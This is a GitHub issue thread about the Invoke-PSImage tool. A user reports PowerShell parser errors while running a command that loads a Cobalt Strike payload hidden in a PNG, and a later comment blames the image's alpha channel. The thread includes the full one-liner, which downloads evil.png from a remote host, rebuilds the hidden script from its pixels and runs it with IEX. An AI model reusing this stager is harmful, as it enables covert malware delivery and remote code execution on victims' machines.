Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

error ”&“ #19

Open
Scorpio-m7 opened this issue Jan 28, 2022 · 3 comments
Open

error ”&“ #19

Scorpio-m7 opened this issue Jan 28, 2022 · 3 comments

Comments

@Scorpio-m7
Copy link

chinese
payload.ps1 from cs
evil.png on the web server(192.168.211.1)

PS C:\Users\root\Desktop\Invoke-PSImage-master> Import-Module .\Invoke-PSImage.ps1

PS C:\Users\root\Desktop\Invoke-PSImage-master> Invoke-PSImage -Script .\payload.ps1 -Out .\evil.png -Image .\1.png -Web
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/evil.png"));$o=a Byte[] 3780;(0..14)|%{foreach($x in(0..251)){$p=$g.GetPixel($x,$);$o[$*252+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3538]))

PS C:\Users\root\Desktop\Invoke-PSImage-master> sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).O
penRead("http://192.168.211.1/evil.png"));$o=a Byte[] 3780;(0..14)|%{foreach($x in(0..251)){$p=$g.GetPixel($x,$);$o[$*252+$x]=([math]::F
loor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3538]))
IEX : 所在位置 行:1 字符: 162

  • ... ?s�?(??pE?a?u:??r(FtK?a?"GU$s=?b??s??ve+"O/VcM' C2G??a?WsV&l?vc??-� ...
  •                                                             ~
    

不允许使用与号(&)。& 运算符是为将来使用而保留的;请用双引号将与号引起来("&"),以将其作为字符串的一部分传递。
所在位置 行:4 字符: 83

  • ... e?Vt?&s?6t??h?R'v'M?wlR?nD?'?BI??kY�n]?,��$m?_?Vu?B)?? D?r??o?�u"R)??
  •                                                                      ~
    

表达式中缺少右“)”。
所在位置 行:5 字符: 87

  • ... t?? ??P�fm p ?%a'FeD?(iF?n�?0??a??t?7 ??T)�)?ET?&[??$n'wa?we(�
  •                                                                      ~
    

表达式中缺少右“)”。
所在位置 行:8 字符: 103

  • ... U?S?2 ��l?B,�uy7Fm?vf?ft??.;Fl??C?ge??o??:?Wa?�rIr$b?_�?a??e)?.9?I?ve ...
  •                                                             ~
    

表达式或语句中包含意外的标记“)”。
所在位置 行:8 字符: 168

  • ... e?�t�?o?�as�',Vt??,��n�?d{ Kvr?wp^Fu?Ve*?ea?e??h??'?wo??Eu+?c?$ ...
  •                                                             ~
    

参数列表中缺少参量。
所在位置 行:9 字符: 142

  • ... _7T!�F�DE?tEgGO?su?cd�?N?Dsz?sJgD�?q??g?UL4�O wwR?Q"?b??7)?4??Fwts ...
  •                                                             ~
    

表达式或语句中包含意外的标记“)”。
所在位置 行:9 字符: 233

  • ... ?Jk%L;st?vg?DV?S1z?N??p??d??Qdtz.?DR�?s?%qU%b??M??g8?J?uB?&u�TM?$N? ...
  •                                                             ~
    

不允许使用与号(&)。& 运算符是为将来使用而保留的;请用双引号将与号引起来("&"),以将其作为字符串的一部分传递。
所在位置 行:9 字符: 374

  • ... ?z&?J??J?7z ?x�?R?eN?tTD$z'DM??M��eV?z??I??r�?M?3j:?w?�JuFF�&A??0>% ...
  •                                                             ~
    

不允许使用与号(&)。& 运算符是为将来使用而保留的;请用双引号将与号引起来("&"),以将其作为字符串的一部分传递。
所在位置 行:12 字符: 292

  • ... LWo�?rb�e7?a+&a?s:4wy?Ga!VoJ? �?$i?%?fTr N?r?Fd[?e?'h? $m?&?mX? ?ws ...
  •                                                             ~
    

不允许使用与号(&)。& 运算符是为将来使用而保留的;请用双引号将与号引起来("&"),以将其作为字符串的一部分传递。
所在位置 行:12 字符: 302

  • ... ?a+&a?s:4wy?Ga!VoJ? �?$i?%?fTr N?r?Fd[?e?'h? $m?&?mX? ?wsK&./Vt?&.? ...
  •                                                             ~
    

不允许使用与号(&)。& 运算符是为将来使用而保留的;请用双引号将与号引起来("&"),以将其作为字符串的一部分传递。
并未报告所有分析错误。请更正报告的错误并重试。
所在位置 行:1 字符: 274

  • ... band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3538])) ...
  •             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
    • FullyQualifiedErrorId : AmpersandNotAllowed,Microsoft.PowerShell.Commands.InvokeExpressionCommand
@Nezf00
Copy link

Nezf00 commented May 5, 2023

Do you find a solution?, i was getting the same error

@ShiverZm
Copy link

the same as me.

@tree-chtsec
Copy link

The problem is PNG has addition alpha channel, which results the $rgbValues be like (B1, G1, R1, A1, B2, G2, R2, A2, ...).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants